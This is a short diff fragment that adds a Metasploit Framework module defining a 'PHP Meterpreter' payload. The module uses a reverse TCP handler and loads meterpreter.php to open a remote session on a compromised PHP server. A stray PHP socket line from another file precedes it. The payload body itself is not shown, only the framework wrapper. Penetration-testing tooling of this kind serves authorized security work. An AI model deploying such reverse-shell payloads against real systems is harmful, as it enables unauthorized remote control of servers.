socket_close($msgsock);

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@ -0,0 +1,42 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'msf/base/sessions/meterpreter_php'
require 'msf/base/sessions/meterpreter_options'
module Metasploit3
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions
def initialize(info = {})
super(update_info(info,
'Name' => 'PHP Meterpreter',
'Version' => '$Revision: 8984 $',
'Description' => 'Run a meterpreter server in PHP',
'Author' => ['egypt'],
'Platform' => 'php',
'Arch' => ARCH_PHP,
'License' => MSF_LICENSE,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::Meterpreter_Php_Php))
$stdout.puts("Initialized meterp php payload")
end
def generate
file = File.join(Msf::Config.data_directory, "meterpreter", "meterpreter.php")
met = File.open(file, "rb") {|f|
f.read(f.stat.size)
}
met
end
end